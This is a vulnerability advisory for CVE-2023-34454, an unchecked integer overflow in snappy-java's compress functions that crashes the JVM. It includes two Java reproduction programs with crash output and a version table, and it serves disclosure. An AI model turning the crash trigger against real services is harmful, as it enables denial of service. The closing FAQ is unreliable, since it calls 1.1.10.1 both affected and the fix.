First published: Thu Jun 15 2023(Updated: )
## Summary Due to unchecked multiplications, an integer overflow may occur, causing an unrecoverable fatal error. ## Impact Denial of Service ## Description The function [compress(char[] input)](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/Snappy.java#L169) in the file [Snappy.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/Snappy.java) receives an array of characters and compresses it. It does so by multiplying the length by 2 and passing it to the [rawCompress](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/Snappy.java#L422) function. ```java public static byte[] compress(char[] input) throws IOException { return rawCompress(input, input.length * 2); // char uses 2 bytes } ``` Since the length is not tested, the multiplication by two can cause an integer overflow and become negative. The rawCompress function then uses the received length and passes it to the natively compiled maxCompressedLength function, using the returned value to allocate a byte array. ```java public static byte[] rawCompress(Object data, int byteSize) throws IOException { byte[] buf = new byte[Snappy.maxCompressedLength(byteSize)]; int compressedByteSize = impl.rawCompress(data, 0, byteSize, buf, 0); byte[] result = new byte[compressedByteSize]; System.arraycopy(buf, 0, result, 0, compressedByteSize); return result; } ``` Since the maxCompressedLength function treats the length as an unsigned integer, it doesn’t care that it is negative, and it returns a valid value, which is casted to a signed integer by the Java engine. If the result is negative, a “java.lang.NegativeArraySizeException” exception will be raised while trying to allocate the array “buf”. On the other side, if the result is positive, the “buf” array will successfully be allocated, but its size might be too small to use for the compression, causing a fatal Access Violation error. The same issue exists also when using the “compress” functions that receive double, float, int, long and short, each using a different multiplier that may cause the same issue. The issue most likely won’t occur when using a byte array, since creating a byte array of size 0x80000000 (or any other negative value) is impossible in the first place. ## Steps To Reproduce Compile and run the following code: ```java package org.example; import org.xerial.snappy.Snappy; import java.io.*; public class Main { public static void main(String[] args) throws IOException { char[] uncompressed = new char[0x40000000]; byte[] compressed = Snappy.compress(uncompressed); } } ``` The program will crash, creating crashdumps and showing the following error (or similar): ``` # # A fatal error has been detected by the Java Runtime Environment: # # EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x0000000063a01c20, pid=21164, tid=508 # ....... ``` Alternatively - compile and run the following code: ```java package org.example; import org.xerial.snappy.Snappy; import java.io.*; public class Main { public static void main(String[] args) throws IOException { char[] uncompressed = new char[0x3fffffff]; byte[] compressed = Snappy.compress(uncompressed); } } ``` The program will crash with the following error (or similar), since the maxCompressedLength returns a value that is interpreted as negative by java: ``` Exception in thread "main" java.lang.NegativeArraySizeException: -1789569677 at org.xerial.snappy.Snappy.rawCompress(Snappy.java:425) at org.xerial.snappy.Snappy.compress(Snappy.java:172) at org.example.Main.main(Main.java:10) ```
Credit: security-advisories@github.com security-advisories@github.com
Affected Software | Affected Version | How to fix |
---|---|---|
maven/org.xerial.snappy:snappy-java | <=1.1.10.0 | 1.1.10.1 |
redhat/snappy-java | <1.1.10.1 | 1.1.10.1 |
IBM Cloud Pak for Business Automation | <1.1.10.1 | |
IBM Cloud Pak for Business Automation | <=V23.0.1 - V23.0.1-IF001 | |
IBM Cloud Pak for Business Automation | <=V21.0.3 - V21.0.3-IF023 | |
IBM Cloud Pak for Business Automation | <=V22.0.2 - V22.0.2-IF006 and later fixes V22.0.1 - V22.0.1-IF006 and later fixes V21.0.2 - V21.0.2-IF012 and later fixes V21.0.1 - V21.0.1-IF007 and later fixes V20.0.1 - V20.0.3 and later fixes V19.0.1 - V19.0.3 and later fixes V18.0.0 - V18.0.2 and later fixes |
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CVE-2023-34454 is a vulnerability in snappy-java that allows for a denial of service attack.
CVE-2023-34454 is caused by an integer overflow in the compress function of snappy-java, which can be exploited by sending a specially crafted request.
CVE-2023-34454 has a severity rating of 7.5, which is considered high.
snappy-java version 1.1.10.1 is affected by CVE-2023-34454. Additionally, IBM QRadar SIEM versions 7.5.0 to 7.5.0 UP6 are also affected.
To fix CVE-2023-34454, it is recommended to upgrade to snappy-java version 1.1.10.1 or apply the necessary security patches provided by the vendor for IBM QRadar SIEM.